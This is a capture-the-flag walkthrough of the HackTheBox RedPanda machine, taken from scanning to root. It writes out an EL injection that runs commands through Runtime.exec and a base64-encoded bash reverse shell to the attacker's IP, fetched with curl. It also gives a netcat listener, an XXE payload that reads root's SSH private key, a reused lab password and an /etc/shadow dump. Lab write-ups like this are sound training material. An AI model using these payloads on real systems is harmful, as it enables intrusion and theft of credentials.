RedPanda HackTheBox WalkThrough

This is RedPanda HackTheBox machine walkthrough. In this write-up, I have demonstrated step-by-step how I rooted RedPanda
HackTheBox machine. Before starting, let us know something about this machine. It is a Linux
OS
box with IP address 10.10.11.170
and difficulty easy
assigned by its maker.
First of all, connect your PC with HackTheBox VPN
and make sure your connectivity with the RedPanda box by pinging its IP 10.10.11.170
. If all goes correct then start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in banner grabbing the services running over different ports, and sometimes it helps in vulnerability assessment also. I have used $ nmap
[a popular port scanner] for this task and the result is given below:-
Scanning
$ sudo nmap -p- --min-rate=10000 -oN FullTcpScan.nmap 10.10.11.170

$ sudo nmap -p22,8080 -sV -oN ScriptScan.nmap 10.10.11.170

Full port scan with $ nmap
revealed only 2 ports as open. OpenSSH 8.2p1
is running on port 22
, using this port we will access the RedPanda
box remotely once we will get the SSH credential of any user. For now, we don’t have any SSH credential so we will come to it after finding some credential. The exact service on port 8080
was not recognized by $ nmap
so it showed the default service of port 8080 which is http-proxy
. After going to the URL http://10.10.11.170:8080 could found that an HTTP web server is running on this port.
Since port 8080
has a web server so we will start our enumeration from this port because web application has more attack surface than usual ports like 21
, 22
, 23
, etc. The web page at http://10.10.11.170:8080 appeared to be a panda search engine using which we can search for various pandas stored in the application.

Soon I got the name panda
I thought this website might be using python library panda
and the web application language would be python
, but I was wrong once I got the below default error page of the application.

After googling the content of the error page I could find that the application is actually using the Spring Boot framework
of Java language.

After some hit and trial found that characters $
, _
, ~
, and %
are banned. You can also fuzz the name
parameter and filter the result based on banned
keyword to find all the banned characters. Also, $
is replaced with *
in every payload. Tried some SSTI
& EL
(Expression Language) injection payloads where I have replaced $
with *
and luckily found both the payloads were working. Since Expression Language
Injection was new to me so I tried SSTI injection first and began to follow our next step in which we determine the template engine
used on the web server and then use RCE payload related to that template engine.
*{7*7}

Testing EL Injection
After some exploitation when I could not figure out the exact template engine
and remote code execution payload then I tried to explore Expression Language Injection
vulnerability and got this article from hacktricks which is enough to explain everything that we need to get RCE.
EL Injection is a type of template injection attack which occurs when input data [malicious expression] is evaluated by an expression language interpreter. This vulnerability has a lot of impact like an attacker can read server-side data, such as the content of server-side variables, and some other inner configuration details. Sometimes it also leads to remote code execution in the vulnerable application.
*{"a".toString()}

*{"dfd".replace("d","x")}

Confirming RCE
Now we have confirmed that the application is vulnerable to EL injection
vulnerability. Let us get RCE using some one-liner. The below payload worked for me to test for RCE since it doesn’t contain any banned characters which are blocked by the panda application. As this payload won’t show the output on screen [as given in the payload comment] therefore I tried to $ ping
my kali machine to check if it works. To test this, simply start a $ tcpdump
sniffer on your tun0
virtual adapter [or other which you have been assigned] and make it capture ICMP
packets then paste the below EL expression in the search field [don’t forget to replace the below IP with your adapter IP].
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("ping -c 3 10.10.17.97")}

$ sudo tcpdump -i tun0 icmp

From the above, we confirmed that we can run $ ping
command on the remote machine. Let us get a reverse shell using some one-liner so that we can have an interactive shell to run our Linux command on the Panda box.
Generating Reverse Shell
I have used this site to create the payload. Don’t forget to base64 encode your payload.

Getting User Shell
To get reverse shell create a file named shell.sh
with the following content and start python web server
to host this file in terminal 1 and in terminal 2 start Netcat listener to get reverse shell as shown in the below screenshot.
Terminal 1
$ cat shell.sh
echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuOTcvOTAwMSAwPiYx |base64 -d|bash
$ python3 -m http.server 80
Terminal 2
$ nc -nvlp 9001
$ whoami && id

Now intercept the search
request in burpsuite and paste
the below payload one by one.
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://10.10.17.97/shell.sh -O")} # To download the shell.sh file on the panda machine.

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("bash shell.sh")} # To execute the shell.sh file on panda machine

We have got the reverse shell. Let us upgrade the shell to a fully qualified Linux shell so that we can run more advanced Linux commands using it.
Upgrading Shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z # CTRL+Z to back ground the shell
$ stty raw -echo
$ fg # Then two times press enter to foreground the shell
$ export TERM=xterm # For enabling clear screen
$ stty rows 43 columns 159 # To set rows and columns

We have successfully upgraded the shell. Let us capture the user flag.
Capture User Flag
$ cat ~/user.txt

Privilege Escalation
To escalate the privilege to root we have to first find a Privilege Escalation Vector
using which we can perform privilege escalation. We can find the PrivEsc vector either manually or using some post-exploitation enumeration scripts like linpeas.sh, LinEnum.sh and there are a lot more.
Finding PrivEsc Vector
When I ran LinPEAS
and LinEnum
they didn’t find anything interesting. Then I ran pspy, a process monitoring tool that monitors cron jobs and other users’ processes. Pspy64s
found run_credits.sh
, cleanup.sh
and LogParser
are running every 2 min by the root
user [see UID=0].

If anyhow we manage to control the content of any one of these files we would get root to this box. Let us analyze the files of LogParser
folder which is present inside the directory /opt/credit-score/
.
$ cd /opt/credit-score/LogParser/
$ find .
There are multiple files available there but the file which we have to focus more on is App.class
. Since it is a compiled file and its source code is also available so we will focus more on App.java
file which is present in the directory /opt/credit-score/LogParser/final/src/main/java/com/logparser/
. There is also another file MainController.java
that is present in the directory /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/
we need to analyze.

During my enumeration, I found some database credential inside MainController.java
. The credential is woodenk
: RedPandazRule
. We can use this credential as an SSH credential to login into woodenk SSH account [since this credential is being reused].

Checking the cleanup.sh
file present at /opt/
found that it is deleting some jpg
and xml
extensions file from the home directory of user woodenk.

Then after analyzing MainController.java
file found that, if the author is equal to woodenk
or damain
, it creates a file of the form {author_name}_creds.xml
inside the /credits/
directory.

Also, the particular XML file is exported only if the author is either woodenk
or damain
. Then a file is created inside /credits/
directory and it is of form {author_name}_creds.xml
.

$ curl http://10.10.11.170:8080/export.xml?author=damian -o info.xml
Here author’s name is damian
that’s why it is exported and its XML is downloaded.
$ cat info.xml

Otherwise, it will give the following error message.
$ curl http://10.10.11.170:8080/export.xml?author=dam -o wrong.xml
Here author’s name is dam
which doesn’t exist that’s why it gave the error.
$ cat wrong.xml

The below method accepts the URI and then reads the metadata
of the jpg
file. In particular, it is checking the Artist
name of the file.

The below method handles how it is parsing the log. line
argument is passed to parseLog()
method and then split()
function splits the various properties by using ||
characters. Here this can be poisoned by adding an extra ||
to the user agent. We are adding ||
to the user agent because we can modify it. We can add a URI to access our custom image present in the home directory of woodenk user.

Since LogParser
is parsing an XML file therefore we can try for XXE
(XML External Entity) Injection
here and inside our XXE payload, we can try to read the id_rsa
file of the root user which is present in the directory /root/.ssh/
. Because LogParser is being executed by the root user at the interval of every 2 min so our XML file will also be processed by it and upon successful exploitation of XXE we will get the id_rsa key of the root user inside the malicious XML file. When I tried to follow the above procedures I could easily get root. So here our Privilege Escalation vector is privilege escalation by exploiting XML External Entity Injection
.
Exploiting XXE to Get Root Private Key
To perform privilege escalation follow the below steps.
1. Create a file named root_creds.xml
with the following XXE payload.
$ nano root_creds.xml
$ cat root_creds.xml
<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY hello SYSTEM "file:///root/.ssh/id_rsa"> ]><credits> <author>damian</author> <image> <uri>/../../../../../../home/woodenk/root.jpg</uri> <hello>&hello;</hello> <views>0</views> </image> <totalviews>0</totalviews></credits

2. Create/Download an image and update the Artist
property of that image using $ exiftool
.
$ curl http://10.10.11.170:8080/img/mr_puffy.jpg -o root.jpg
$ exiftool -Artist='../home/woodenk/root' root.jpg

Now we have 2 files namely root_creds.xml
and root.jpg
.
4. Start python webserver to host these files and download them to the home directory of woodenk user on RedPanda box.
5. Access the URL http://10.10.11.170:8080/stats -A “||/../../../../../../home/woodenk/root.jpg to hit the payload.
6. Now, check the content of redpanda.log
file.
7. At last wait for 2 min to let the cron job run and then open the file. If all goes correctly you will get the SSH private key of the root user inside the root_creds.xml
file.
$ python3 -m http.server 9001
$ curl http://10.10.17.97:9001/root_creds.xml -O
$ curl http://10.10.17.97:9001/root.jpg -O
$ curl http://10.10.11.170:8080/stats -A "||/../../../../../../home/woodenk/root.jpg" -O
$ cat /opt/panda_search/redpanda.log


7. Extract the SSH key from the root_creds.xml file and use it to log in to the root account.

Getting Root Shell Via SSH
To get root shell follow the below steps.
$ nano id_rsa_root # Put the id_rsa key of root user to this file
$ chmod 600 id_rsa_root
$ ssh -i id_rsa_root [email protected]
# whoami && id

We have successfully logged in as root. Let us capture the root flag from the home directory of the root.
Capture Root Flag
# cat root.txt

Dumping Root Hash
# cat /etc/shadow | grep -i root

This was how I rooted to RedPanda HackTheBox machine. Learned a lot during this walkthrough. Hope you would have also learned some new things. Thanks for reading this write-up. Want to give any suggestions about the write-up feel free to write us at [email protected]. Check out my latest articles at https://ethicalhacs.com/.